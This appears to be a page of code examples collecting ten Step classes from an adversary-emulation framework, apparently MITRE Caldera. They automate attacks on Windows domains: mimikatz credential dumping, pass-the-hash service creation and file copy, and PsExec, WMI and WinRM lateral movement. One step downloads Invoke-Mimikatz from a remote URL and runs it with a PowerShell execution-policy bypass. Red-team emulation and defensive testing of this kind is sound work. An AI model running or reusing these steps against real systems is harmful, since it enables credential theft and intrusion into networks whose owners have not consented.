Exemplo n.º 1
0
class WinRM(Step):
    """
    Description:
        This step attempts to move laterally between to machines utilizing WinRM. This assumes that
        WinRM is enabled on the target machine in order to function (PS: Enable-PSRemoting -Force)
    Requirements:
        Requires an elevated Rat.
    """
    attack_mapping = [('T1028', 'Lateral Movement'), ('T1028', 'Execution')]
    display_name = "WinRM"
    summary = "Attempts to use WinRM to move to a remote computer"

    preconditions = [
        ("rat", OPRat({"elevated": True})), ("dest_host", OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    postconditions = [("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = ['domain.windows_domain']

    postproperties = []

    significant_parameters = []

    @staticmethod
    def description(dest_host, user):
        return "Executing WinRM lateral movement to {} as {}".format(
            dest_host.fqdn, user.username)

    @staticmethod
    async def simulate(operation, rat, dest_host, rat_file, cred, user, domain,
                       rat_g):
        return True

    @staticmethod
    async def action(operation, rat, dest_host, rat_file, cred, user, domain,
                     rat_g):
        await operation.execute_shell_command(
            rat,
            *winrm.lateral_movement(dest_host.fqdn, cred.password,
                                    domain.windows_domain, user.username,
                                    rat_file.path))
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner):
        pass
Exemplo n.º 2
0
class PassTheHashCopy(Step):
    """
    Description:
        This step uses the Pass the Hash technique to copy a file to a target machine using xcopy.
    Requirements:
        Requires administrative access, domain enumeration, and credentials for an administrator on the target
        machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [('T1075', 'Lateral Movement'), ('T1105', 'Lateral Movement'), ('T1106', 'Execution')]
    display_name = "pass_the_hash_copy"
    summary = "Copy a file from a computer to another using a credential-injected command prompt"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ('user', OPUser(OPVar("cred.user"))),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('dest_host', OPHost),
                     ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})),
                     ('domain', OPDomain(OPVar("user.domain")))]
    postconditions = [("file_g", OPFile({'host': OPVar("dest_host")}))]

    preproperties = ['rat.executable', 'dest_host.hostname', 'domain.windows_domain', 'cred.hash']

    not_equal = [('host', 'dest_host')]

    deterministic = True

    @staticmethod
    def description(host, dest_host):
        return "Using pass the hash to copy an implant from {} to {}".format(host.fqdn, dest_host.fqdn)

    @staticmethod
    async def simulate(operation, rat, user, host, dest_host, cred, domain, file_g):
        return True

    @staticmethod
    async def action(operation, rat, user, host, dest_host, cred, domain, file_g):
        filepath = "\\" + operation.adversary_artifactlist.get_executable_word()
        # echo F | xcopy will automatically create missing directories
        final_command = "cmd.exe /c echo F | xcopy {0} \\\\{1}\\c${2}".format(rat.executable, dest_host.hostname, filepath)

        mimikatz_command = MimikatzCommand(privilege_debug(),
                                           sekurlsa_pth(user=user.username, domain=domain.windows_domain,
                                                        ntlm=cred.hash, run=final_command),
                                           mimi_exit())

        if host.os_version.major_version >= 10:
            # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script.  This works on
            # windows 10 and patched older systems (KB3126593 / MS16-014 update installed)
            await operation.reflectively_execute_exe(rat, "mimi64-exe", mimikatz_command.command,
                                                     parsers.mimikatz.sekurlsa_pth)
        else:
            # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017).
            await operation.execute_powershell(rat, "powerkatz",
                                               PSFunction('Invoke-Mimikatz',
                                                          PSArg("Command", mimikatz_command.command.command_line)),
                                               parsers.mimikatz.sekurlsa_pth)

        await file_g({'src_host': dest_host, 'src_path': rat.executable, 'path': "C:" + filepath, 'use_case': 'rat'})

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
Exemplo n.º 3
0
class PsexecMove(Step):
    """
    Description:
        This step utilizes the Windows Internals tool PsExec to spawn a RAT on a remote host, moving through
        the network via lateral movement.
    Requirements:
        Requires credentials for an administrator on the target machine (needs both administrator enumeration
        'GetAdmin', and credential data 'Credentials'), and an enumerated domain. In addition, PsExec must have
        been downloaded and integrated into Caldera in order for this step to execute correctly.
        PsExec can be acquired and integrated using the 'Load PsExec' option in Settings.
    """
    attack_mapping = [('T1035', 'Execution')]
    display_name = "psexec_move"
    summary = "Move laterally using psexec"

    preconditions = [
        ("rat", OPRat), ("dest_host", OPHost),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = [
        'domain.windows_domain', 'user.username', 'cred.password',
        'dest_host.hostname'
    ]

    # file_g properties are intentionally omitted here to prevent the planner from thinking it is useful
    postconditions = [("file_g", OPFile),
                      ("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True
                       }))]

    deterministic = True

    @staticmethod
    def description(rat, dest_host, cred, user, domain):
        return "Moving laterally to {} with {} via {} using psexec".format(
            dest_host.hostname, user.username, rat.host.hostname)

    @staticmethod
    async def action(operation, rat, dest_host, cred, user, domain, file_g,
                     rat_g):
        ps_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word(
        )
        rat_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word(
        )
        # protect against potential duplicate naming
        if rat_loc == ps_loc:
            ps_loc = "C:\\Users\\" + user.username + "\\mystery.exe"
        await operation.drop_file(rat, ps_loc,
                                  config.settings.filestore_path + '/ps.hex')
        await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path)
        await file_g({'path': ps_loc, 'host': rat.host, 'use_case': 'dropped'})
        await file_g({
            'path': rat_loc,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await operation.execute_shell_command(
            rat,
            *psexec.copy(ps_loc,
                         rat_loc,
                         domain.windows_domain,
                         user.username,
                         cred.password,
                         dest_host.hostname,
                         elevated=True))
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
Exemplo n.º 4
0
class Credentials(Step):
    """
    Description:
        This step utilizes mimikatz to dump the credentials currently stored in memory on a target machine.
    Requirements:
        Requires administrative access to the target machine.
        *NOTE: In order for this action to be useful, the target machines must be seeded with credentials,
        and the appropriate registry keys must be set so that the credentials are held in memory.*
    """
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]
    display_name = "get_creds"
    summary = "Use Mimikatz to dump credentials on a specific computer"

    value = 10
    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
                      ("host_g", OPHost), ("user_g", OPUser)]

    # hacky hint: tells the planner to assume that the credentials are for a user that is local admin on a
    # new host, so that it finds this technique useful
    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    preproperties = ["host.os_version.major_version"]

    # host_g.fqdn portproperty is a hack so that planner can use it to laterally move
    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain", "host_g.fqdn"
    ]

    significant_parameters = ["host"]

    cddl = """
    Knowns:
        rat: OPRat[host]
    Effects:
        if not exist rat {
            forget rat
        } elif rat.elevated {
            for cred in rat.host.cached_creds {
                know cred[user[username, is_group, domain[windows_domain], host], password]
            }
        }
    """

    @staticmethod
    def description(host):
        return "Running mimikatz to dump credentials on {}".format(host.fqdn)

    @staticmethod
    async def action(operation, rat, host, domain_g, credential_g, user_g):
        mimikatz_command = MimikatzCommand(privilege_debug(),
                                           sekurlsa_logonpasswords(),
                                           mimi_exit())

        accounts = await operation.execute_powershell(
            rat, "powerkatz",
            PSFunction("Invoke-Mimikatz",
                       PSArg("Command", mimikatz_command.command)),
            parsers.mimikatz.sekurlsa_logonpasswords_condensed)

        for account in accounts:
            user_obj = {
                'username': account['Username'].lower(),
                'is_group': False
            }
            credential_obj = {}
            if 'Password' in account:
                credential_obj['password'] = account['Password']

            if 'NTLM' in account:
                credential_obj["hash"] = account['NTLM']

            # if the domain is not the hostname, this is a Domain account
            if account['Domain'].lower() != host.hostname.lower():
                domain = await domain_g(
                    {'windows_domain': account['Domain'].lower()})
                user_obj['domain'] = domain
            else:
                user_obj['host'] = host

            credential_obj['found_on_host'] = host

            user = await user_g(user_obj)
            credential_obj['user'] = user
            await credential_g(credential_obj)

        return True
Exemplo n.º 5
0
class PassTheHashSc(Step):
    """
    Description:
        This step is a modified version of Pass the Hash that starts a service by stealing elevated credentials
        and passing them into a command prompt.
    Requirements:
        This step uses the Pass the Hash technique to copy a file to a target machine using xcopy.
    """
    attack_mapping = [('T1050', 'Persistence'), ('T1075', 'Lateral Movement'),
                      ('T1021', 'Lateral Movement'), ('T1035', 'Execution'),
                      ('T1106', 'Execution')]
    display_name = "pass_the_hash_sc"
    summary = (
        "Creates a service by using mimikatz's \"Pass the Hash\" function to inject a command prompt with "
        "elevated credentials")

    preconditions = [
        ("rat", OPRat({"elevated": True})), ("dest_host", OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    # service_g properties are intentionally omitted here to prevent the planner from thinking it is useful
    postconditions = [("service_g", OPService),
                      ("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    preproperties = [
        'cred.hash', 'user.username', 'domain.windows_domain', 'rat_file.path',
        'rat.host.os_version.major_version'
    ]

    not_equal = [("dest_host", "rat.host")]

    deterministic = True

    @staticmethod
    def description(dest_host, user):
        return "Using pass the hash with sc.exe to create and start a service on {} as {}".format(
            dest_host.fqdn, user.username)

    @staticmethod
    async def simulate(operation, rat, dest_host, rat_file, cred, user, domain,
                       service_g, rat_g):
        return True

    @staticmethod
    async def action(operation, rat, dest_host, rat_file, cred, user, domain,
                     service_g, rat_g):
        svcname = operation.adversary_artifactlist.get_service_word()

        remote_host = None
        if dest_host != rat.host:
            remote_host = dest_host.fqdn

        bin_path = rat_file.path

        create_command = MimikatzCommand(
            privilege_debug(),
            sekurlsa_pth(
                user=user.username,
                domain=domain.windows_domain,
                ntlm=cred.hash,
                run=sc.create(bin_path, svcname,
                              remote_host=remote_host)[0].command_line),
            mimi_exit())

        start_command = MimikatzCommand(
            privilege_debug(),
            sekurlsa_pth(
                user=user.username,
                domain=domain.windows_domain,
                ntlm=cred.hash,
                run=sc.start(svcname,
                             remote_host=remote_host)[0].command_line),
            mimi_exit())

        if rat.host.os_version.major_version >= 10:
            # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script.  This works on
            # windows 10 and patched older systems (KB3126593 / MS16-014 update installed)
            await operation.reflectively_execute_exe(
                rat, "mimi64-exe", create_command.command,
                parsers.mimikatz.sekurlsa_pth)

            await service_g({
                'name': svcname,
                'bin_path': rat_file.path,
                'host': dest_host
            })

            await operation.reflectively_execute_exe(
                rat, "mimi64-exe", start_command.command,
                parsers.mimikatz.sekurlsa_pth)
        else:
            # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017).
            await operation.execute_powershell(
                rat, "powerkatz",
                PSFunction('Invoke-Mimikatz',
                           PSArg("Command", create_command.command)),
                parsers.mimikatz.sekurlsa_pth)

            await service_g({
                'name': svcname,
                'bin_path': rat_file.path,
                'host': dest_host
            })

            await operation.execute_powershell(
                rat, "powerkatz",
                PSFunction('Invoke-Mimikatz',
                           PSArg("Command", start_command.command)),
                parsers.mimikatz.sekurlsa_pth)
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner, service_g):
        for service in service_g:
            await cleaner.delete(service)
Exemplo n.º 6
0
class SysteminfoRemote(Step):
    """
    Description:
        This step enumerates a target machine located remotely on a network.
    Requirements:
        Requires enumeration of the target host, credentials for an administrator on the target host (needs both
        administrator enumeration 'GetAdmin', and credential data 'Credentials'), and domain enumeration.
    """
    attack_mapping = [("T1082", "Discovery"), ('T1106', 'Execution')]
    display_name = "systeminfo(remote)"
    summary = "Use systeminfo.exe to enumerate a remote system"

    preconditions = [
        ('rat', OPRat), ('host', OPHost(OPVar('rat.host'))),
        ('dest_host', OPHost),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]
    postconditions = [('host_g', OPHost), ("domain_g", OPDomain),
                      ('os_version_g', OPOSVersion)]

    postproperties = [
        'host_g.hostname', 'host_g.dns_domain_name', 'host_g.fqdn',
        'domain_g.windows_domain', 'domain_g.dns_domain', 'host_g.systeminfo',
        'host_g.os_version'
    ]

    not_equal = [('dest_host', 'rat.host')]

    significant_parameters = ['dest_host']

    @staticmethod
    def description(rat, host, dest_host):
        return "Using systeminfo.exe to remotely enumerate {}".format(
            dest_host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, dest_host, cred, user, domain,
                       host_g, domain_g, os_version_g):
        return True

    @staticmethod
    async def action(operation, rat, host, dest_host, cred, user, domain,
                     host_g, domain_g, os_version_g):
        info = await operation.execute_shell_command(
            rat,
            *systeminfo.csv(remote_host=dest_host.fqdn,
                            user_domain=domain.windows_domain,
                            user=user.username,
                            password=cred.password))

        # Domain info  -- kind of redundant to leave this in for the remote technique.
        await domain_g({
            'windows_domain': info['Domain'].split('.')[0],
            'dns_domain': info['Domain']
        })

        # Add info about our current host. If we need more host information pulled with systeminfo in the future add it
        # here.
        host_fqdn = '.'.join([info['Host Name'], info['Domain']]).lower()
        os_version = await os_version_g({**info['parsed_version_info']})
        await host_g({
            'hostname': info['Host Name'].lower(),
            'dns_domain_name': info['Domain'],
            'fqdn': host_fqdn,
            'system_info': info['_original_text'],
            'os_version': os_version
        })

        # If the RAT is running in a Domain user's context we can find a DC with this (does nothing if we're SYSTEM):
        if info['Logon Server'] != 'N/A':
            logon_server_fqdn = '.'.join(
                [info['Logon Server'].strip('\\\\'), info['Domain']]).lower()
            await host_g({
                'fqdn': logon_server_fqdn,
                'hostname': info['Logon Server'].strip('\\\\').lower(),
                'dns_domain_name': info['Domain']
            })

        return True
Exemplo n.º 7
0
class DumpCreds(Step):
    """    Description:
            This step uses Invoke-Mimikatz to get credentials of the current system.
           Requirements:
            An elevated RAT.
    """
    display_name = "dump_creds"
    summary = "Run Invoke-Mimikatz to obtain credentials."
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
                      ("host_g", OPHost),
                      ("user_g", OPUser({'$in': OPVar("host.admins")})),
                      ("file_g", OPFile)]

    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain"
    ]

    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    significant_parameters = ["host"]

    @staticmethod
    def description(rat):
        return "Running mimikatz to dump credentials on {}".format(
            rat.host.fqdn)

    @staticmethod
    def parser(mimikatz_output):
        credentials = []
        results = re.findall(
            'Username\s*:\s+(.*)\s*\* Domain\s*:\s+(.*)\s*\* Password\s*:\s+(.*)',
            mimikatz_output, re.MULTILINE)

        for result in results:
            if not result[2] or result[2] == '(null)':
                continue
            credentials.append({
                'username': result[0].lower().strip(),
                'domain': result[1].lower().strip(),
                'password': result[2].strip()
            })

        return credentials

    @staticmethod
    async def action(operation, rat, domain_g, credential_g, host_g, user_g,
                     file_g):
        # Step 1: run Mimikatz in memory
        MIMIKATZ_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1"
        ps_parameters = [
            'powershell.exe', '-exec', 'bypass', '-C',
            'IEX(IWR \'{}\'); Invoke-Mimikatz -DumpCreds'.format(MIMIKATZ_URL)
        ]

        async def drop_file(path, contents):
            await operation.drop_file_contents(rat,
                                               file_path_dest=path,
                                               file_contents=bytes(
                                                   contents, 'utf-8'))

        async def register_file(path):
            await file_g({'path': path, 'host': rat.host})

        cmd = command.CustomCommandLine(ps_parameters)
        await cmd.generate(drop_file, register_file)

        credentials = (await
                       operation.execute_shell_command(rat, cmd,
                                                       DumpCreds.parser))

        # Step 2: parse credentials
        users = []
        for cred in credentials:
            # Generate User object
            user = {'username': cred['username'], 'is_group': False}
            if cred['domain'].upper() == rat.host.hostname.upper():
                user['host'] = rat.host
            else:
                user['domain'] = await domain_g(
                    {'windows_domain': cred['domain']})

            user_obj = await user_g(user)

            # Generate Credential object
            await credential_g({
                'password': cred['password'],
                'found_on_host': rat.host,
                'user': user_obj
            })

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Exemplo n.º 8
0
class WMIRemoteProcessCreate(Step):
    """
    Description:
        This step starts a process on a remote machine, using the Windows Management Interface (wmic). This allows
        for lateral movement throughout the network.
    Requirements:
        Requires domain enumeration, access to a copy of the RAT on the target machine (usually accomplished using
        Copy or Xcopy), and credentials for an administrator on the target machine (needs both administrator enumeration
        'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [('T1047', 'Execution'), ('T1078', 'Persistence'),
                      ('T1078', 'Defense Evasion'), ('T1106', 'Execution')]
    display_name = "remote_process(WMI)"
    summary = "Use WMI to start a process on a remote computer"

    value = 20

    preconditions = [
        ("rat", OPRat), ('dest_host', OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    postconditions = [("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = [
        'rat_file.path', 'domain.windows_domain', 'dest_host.fqdn',
        'user.username', 'cred.password'
    ]

    deterministic = True

    cddl = """
    Knowns:
        rat: OPRat[host]
        dest_host: OPHost
        rat_file: OPFile[path, host]
        cred: OPCredential[user[domain[windows_domain]], password]
    Where:
        rat.host != dest_host
        rat_file.host == dest_host
    Effects:
        if not exist rat {
            forget rat
        } elif cred.user in dest_host.admins {
            create OPRat[host=dest_host, elevated=True, executable=rat_file.path]
        } 
"""

    @staticmethod
    def description(rat, dest_host):
        return "Starting a remote process on {} using WMI.".format(
            dest_host.fqdn)

    @staticmethod
    async def action(operation, rat, dest_host, user, rat_file, cred, domain,
                     rat_g):
        await operation.execute_shell_command(
            rat,
            *wmic.create(rat_file.path,
                         arguments='-d -f',
                         remote_host=dest_host.fqdn,
                         user=user.username,
                         user_domain=domain.windows_domain,
                         password=cred.password))
        await rat_g()
        return True
Exemplo n.º 9
0
class TasklistRemote(Step):
    """
    Description:
        This step enumerates the processes currently running on a remote target machine using tasklist.exe.
        This enumeration provides information about the processes, as well as associated services and modules.
    Requirements:
        Requires enumeration of the target host, domain enumeration, and credentials of an administrator on the
        target machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [("T1057", "Discovery"), ("T1007", "Discovery"),
                      ('T1106', 'Execution')]
    display_name = "tasklist(remote)"
    summary = "Enumerate process information using tasklist on a remote host. The command is run 3 times with the " \
              "/v (verbose), /svc (service) and /m (modules) flags"

    preconditions = [('rat', OPRat), ('host', OPHost),
                     ("cred",
                      OPCredential({'$in': {
                          'user': OPVar("host.admins")
                      }})), ('user', OPUser(OPVar("cred.user"))),
                     ('domain', OPDomain(OPVar("user.domain")))]

    postconditions = [('process_g', OPProcess), ('host_g', OPHost)]

    postproperties = ['process_g.host', 'host.processes']

    not_equal = [('host', 'rat.host')]

    significant_parameters = ['host']

    @staticmethod
    def description(rat, host):
        return "Using tasklist.exe to remotely enumerate processes on {} from {}".format(
            host.hostname, rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, cred, user, domain, process_g,
                       host_g):
        return True

    @staticmethod
    async def action(operation, rat, host, cred, user, domain, process_g,
                     host_g):
        processes = await operation.execute_shell_command(
            rat,
            *tasklist.main(verbose=True,
                           remote_host=host.hostname,
                           user_domain=domain.windows_domain,
                           user=user.username,
                           password=cred.password))
        # Add host to process dictionaries
        [proc.update({'host': host}) for proc in processes]

        is_equivalent = lambda proc1, proc2: True if (proc1['pid'] == proc2[
            'pid'] and proc1['image_name'] == proc2['image_name']) else False

        # Add service information to processes (use is_equivalent lambda to look for matching processes)
        service_information = await operation.execute_shell_command(
            rat,
            *tasklist.main(services=True,
                           remote_host=host.hostname,
                           user_domain=domain.windows_domain,
                           user=user.username,
                           password=cred.password))
        [
            old.update(new) if is_equivalent(old, new) else None
            for old in processes for new in service_information
        ]
        # TODO: Add service results to Observed_Services in db after change to new technique cleanup is done.

        # Add module information to processes
        modules_information = await operation.execute_shell_command(
            rat,
            *tasklist.main(modules=True,
                           remote_host=host.hostname,
                           user_domain=domain.windows_domain,
                           user=user.username,
                           password=cred.password))
        [
            old.update(new) if is_equivalent(old, new) else None
            for old in processes for new in modules_information
        ]

        for proc in processes:
            await process_g(proc)

        return True
Exemplo n.º 10
0
class NetUse(Step):
    """
    Description:
        This step mounts a C$ network share on a target remote machine using net use. This can then be leveraged
        for a host of machine-to-machine techniques.
    Requirements:
        Requires administrative credentials for target machine ((needs both administrator enumeration 'GetAdmin',
        and credential data 'Credentials') and domain enumeration.
    """
    attack_mapping = [('T1077', 'Lateral Movement'), ('T1106', 'Execution')]
    display_name = "net_use"
    summary = "Mount a C$ network share using net use"

    # prevents net_use
    value = 0
    preconditions = [("rat", OPRat), ('host', OPHost),
                     ("cred",
                      OPCredential({'$in': {
                          'user': OPVar("host.admins")
                      }})), ('user', OPUser(OPVar("cred.user"))),
                     ('domain', OPDomain(OPVar("user.domain")))]

    #    These post-conditions create a weird behavior where the planner with think it has paths ahead due to Remove
    #    Net Share being an option.  Will not break
    #    postconditions = [('share_g', OPShare({"src_host": OPVar("rat.host"), "dest_host": OPVar("host"),
    #                                           'share_name': 'C$', 'share_removed': False}))]
    postconditions = [('share_g',
                       OPShare({
                           "src_host": OPVar("rat.host"),
                           "dest_host": OPVar("host"),
                           'share_name': 'C$'
                       }))]

    not_equal = [('host', 'rat.host')]

    preproperties = [
        'domain.windows_domain', 'cred.password', 'host.fqdn', 'user.username'
    ]
    postproperties = [
        "share_g.share_path", "share_g.mount_point", "share_g.share_removed"
    ]

    deterministic = True

    cddl = """
    Knowns:
        rat: OPRat[host]
        host: OPHost[fqdn]
        cred: OPCredential[password, user[username, domain[windows_domain]]]
    Where:
        rat.host != host
    Effects:
        if not exist rat {
            forget rat
        } elif cred.user in host.admins {
            create OPShare[src_host=rat.host, dest_host=host, share_name="C$", share_path="whatever", \
                           share_removed="False"]
        }
    """

    @staticmethod
    def description(rat, host):
        return "Mounting {}'s C$ network share on {} with net use".format(
            host.fqdn, rat.host.fqdn)

    @staticmethod
    async def action(operation, rat, host, cred, user, domain, share_g):
        await operation.execute_shell_command(
            rat,
            *net.use(host.fqdn,
                     'C$',
                     user=user.username,
                     user_domain=domain.windows_domain,
                     password=cred.password))
        await share_g({
            'share_path': '\\\\{}\\C$'.format(host.fqdn),
            'mount_point': 'C:',
            'share_removed': False
        })
        return True

    @staticmethod
    async def cleanup(cleaner, share_g):
        for share in share_g:
            if not share.share_removed:
                await cleaner.delete(share)